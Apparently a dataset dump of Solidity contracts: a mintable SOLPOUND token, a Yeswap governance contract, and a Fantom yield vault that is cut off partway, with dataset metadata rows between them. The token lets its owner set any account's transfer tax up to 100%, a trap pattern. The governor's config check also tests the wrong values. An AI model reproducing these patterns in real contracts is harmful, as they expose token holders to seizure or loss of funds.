require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'not whitelisted');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface BEP20Basic {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is BEP20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BEP20 is BEP20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is BEP20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Whitelist {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyWhitelisted canMint public returns (bool) {
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyWhitelisted canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract SOLPOUNDToken is MintableToken {
struct Stats {
uint256 txs;
uint256 minted;
}
string public constant name = "SOLPOUND Token";
string public constant symbol = "SOLPOUND";
uint8 public constant decimals = 18;
uint256 public constant MAX_INT = 2**256 - 1;
uint256 public constant targetSupply = MAX_INT;
uint256 public totalTxs;
uint256 public players;
uint256 private mintedSupply_;
mapping(address => Stats) private stats;
address public vaultAddress;
uint8 public taxDefault;
mapping (address => uint8) private _customTaxRate;
mapping (address => bool) private _hasCustomTax;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
event TaxPayed(address from, address vault, uint256 amount);
constructor(uint256 _initialMint) Ownable() public {
addAddressToWhitelist(owner);
mint(owner, _initialMint * 1e18);
removeAddressFromWhitelist(owner);
}
function setVaultAddress(address _newVaultAddress) public onlyOwner {
vaultAddress = _newVaultAddress;
}
function updateTaxDefault(uint8 _newTaxDefault) public onlyOwner {
taxDefault = _newTaxDefault;
}
function mint(address _to, uint256 _amount) public returns (bool) {
//Never fail, just don't mint if over
if (_amount == 0 || mintedSupply_.add(_amount) > targetSupply) {
return false;
}
//Mint
super.mint(_to, _amount);
mintedSupply_ = mintedSupply_.add(_amount);
if (mintedSupply_ == targetSupply) {
mintingFinished = true;
emit MintFinished();
}
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_to].minted += _amount;
totalTxs += 1;
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
return false;
}
function calculateTransactionTax(uint256 _value, uint8 _tax) internal returns (uint256 adjustedValue, uint256 taxAmount){
taxAmount = _value.mul(_tax).div(100);
adjustedValue = _value.mul(SafeMath.sub(100, _tax)).div(100);
return (adjustedValue, taxAmount);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(_from, _value);
if (taxAmount > 0){
require(super.transferFrom(_from, vaultAddress, taxAmount));
emit TaxPayed(_from, vaultAddress, taxAmount);
}
require(super.transferFrom(_from, _to, adjustedValue));
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_from].txs += 1;
totalTxs += 1;
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(msg.sender, _value);
if (taxAmount > 0){
require(super.transfer(vaultAddress, taxAmount));
emit TaxPayed(msg.sender, vaultAddress, taxAmount);
}
require(super.transfer(_to, adjustedValue));
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[msg.sender].txs += 1;
totalTxs += 1;
return true;
}
function calculateTransferTaxes(address _from, uint256 _value) public view returns (uint256 adjustedValue, uint256 taxAmount){
adjustedValue = _value;
taxAmount = 0;
if (!_isExcluded[_from]) {
uint8 taxPercent = taxDefault; // set to default tax 10%
// set custom tax rate if applicable
if (_hasCustomTax[_from]){
taxPercent = _customTaxRate[_from];
}
(adjustedValue, taxAmount) = calculateTransactionTax(_value, taxPercent);
}
return (adjustedValue, taxAmount);
}
function remainingMintableSupply() public view returns (uint256) {
return targetSupply.sub(mintedSupply_);
}
function cap() public view returns (uint256) {
return targetSupply;
}
function mintedSupply() public view returns (uint256) {
return mintedSupply_;
}
function statsOf(address player) public view returns (uint256, uint256, uint256){
return (balanceOf(player), stats[player].txs, stats[player].minted);
}
//
function mintedBy(address player) public view returns (uint256){
return stats[player].minted;
}
function setAccountCustomTax(address account, uint8 taxRate) external onlyOwner() {
require(taxRate >= 0 && taxRate <= 100, "Invalid tax amount");
_hasCustomTax[account] = true;
_customTaxRate[account] = taxRate;
}
function removeAccountCustomTax(address account) external onlyOwner() {
_hasCustomTax[account] = false;
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
delete _excluded[_excluded.length - 1];
break;
}
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
}
| 318,173 | 13,638 |
4142f97ca50c8be8b41bce575f8206af78fbd448df3955c341f8aa249b0fdf32
| 14,727 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/90/901b42607d93a042d772779ba5ffecbc9df20024_YeswGovernor.sol
| 3,375 | 14,121 |
// Root file: contracts\YeswGovernor.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
contract YeswGovernor {
/// @notice The name of this contract
string public constant name = "Yeswap Governor";
uint public constant QUORUM_VOTES = 40_000_000e18; // 4% of Yesw
uint public constant PROPOSAL_THRESHOLD = 10_000_000e18; // 1% of Yesw
uint public constant PROPOSAL_MAX_OPERATIONS = 10; // 10 actions
uint public constant VOTING_PERIOD = 7 days; // 7 days
uint public quorumVotes;
/// @notice The number of votes required in order for a voter to become a proposer
uint public proposalThreshold;
/// @notice The maximum number of actions that can be included in a proposal
uint public proposalMaxOperations;
/// @notice The duration of voting on a proposal, in blocks
uint public votingPeriod;
/// @notice The address of the Yeswap Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Yeswap governance token
YeswaInterface public Yeswa;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
// Unique id for looking up a proposal
uint id;
// Creator of the proposal
address proposer;
// the ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
uint startBlockTime;
// The block at which voting ends: votes must be cast prior to this block
uint endBlockTime;
// The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
// Current number of votes in favor of this proposal
uint forVotes;
// Current number of votes in opposition to this proposal
uint againstVotes;
// Flag marking whether the proposal has been canceled
bool canceled;
// Flag marking whether the proposal has been executed
bool executed;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
// The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice Receipts of ballots for the entire set of voters
mapping (uint => mapping (address => Receipt)) public receipts;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas,
uint startBlockTime, uint endBlockTime, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address Yeswa_) {
timelock = TimelockInterface(timelock_);
Yeswa = YeswaInterface(Yeswa_);
quorumVotes = QUORUM_VOTES;
proposalThreshold = PROPOSAL_THRESHOLD;
proposalMaxOperations = PROPOSAL_MAX_OPERATIONS;
votingPeriod = VOTING_PERIOD;
}
function config(uint quorumVotes_, uint proposalThreshold_, uint proposalMaxOperations_, uint votingPeriod_) public {
require(msg.sender == address(timelock), "YeswGovernor:: Not Timelock");
if (quorumVotes != 0) quorumVotes = quorumVotes_;
if (proposalThreshold != 0) proposalThreshold = proposalThreshold_;
if (proposalMaxOperations != 0) proposalMaxOperations = proposalMaxOperations_;
if (votingPeriod != 0) votingPeriod = votingPeriod_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(Yeswa.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "YeswGovernor::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "YeswGovernor::propose: proposal function information arity mismatch");
require(targets.length != 0, "YeswGovernor::propose: must provide actions");
require(targets.length <= proposalMaxOperations, "YeswGovernor::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "YeswGovernor::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "YeswGovernor::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlockTime = block.timestamp;
uint endBlockTime = add256(startBlockTime, votingPeriod);
proposalCount++;
Proposal memory newProposal;
newProposal.id = proposalCount;
newProposal.proposer = msg.sender;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.startBlock = block.number;
newProposal.startBlockTime = startBlockTime;
newProposal.endBlockTime = endBlockTime;
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlockTime, endBlockTime, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "YeswGovernor::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))),
"YeswGovernor::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "YeswGovernor::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value:proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
require(state(proposalId) != ProposalState.Executed, "YeswGovernor::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(Yeswa.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "YeswGovernor::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return receipts[proposalId][voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "YeswGovernor::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.timestamp <= proposal.startBlockTime) {
return ProposalState.Pending;
} else if (block.timestamp <= proposal.endBlockTime) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "YeswGovernor::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "YeswGovernor::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = receipts[proposalId][voter];
require(receipt.hasVoted == false, "YeswGovernor::_castVote: voter already voted");
uint96 votes = Yeswa.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface YeswaInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
| 57,584 | 13,639 |
b4756fbbec2b9cdd4d00eab082bfc08d475a9f01516cf71cf5e74915eaf8f673
| 23,556 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a6/a695d3932a8af116fc73c15dd04b78f781658b83_Granary.sol
| 5,451 | 15,398 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 6
function coinusd() external view returns(uint256);
}
interface IMasterchef {
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. WeVEs to distribute per block.
uint256 lastRewardBlock; // Last block number that WeVEs distribution occurs.
uint256 accWeVEPerShare; // Accumulated WeVEs per share, times 1e12. See below.
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function pendingWEVE(uint256 _pid, address _user) external view returns (uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _r, string memory _id, address _v)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
route = _r;
id=_id;//GRAIN#ID
utvl = _v;
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add route[route.length-1]
IERC20(_r[_r.length-1]).approve(address(router),uint256(-1));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public pure returns(uint256){return(18);}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public route;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1, //mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Compounded(address indexed user, uint256 amount);
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D);
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
mc.withdraw(allnums[0],0);
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
IRouter R = IRouter(router);
uint256 vbb = (earn.balanceOf(address(this)));
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,route,address(this),block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D);
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run
allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
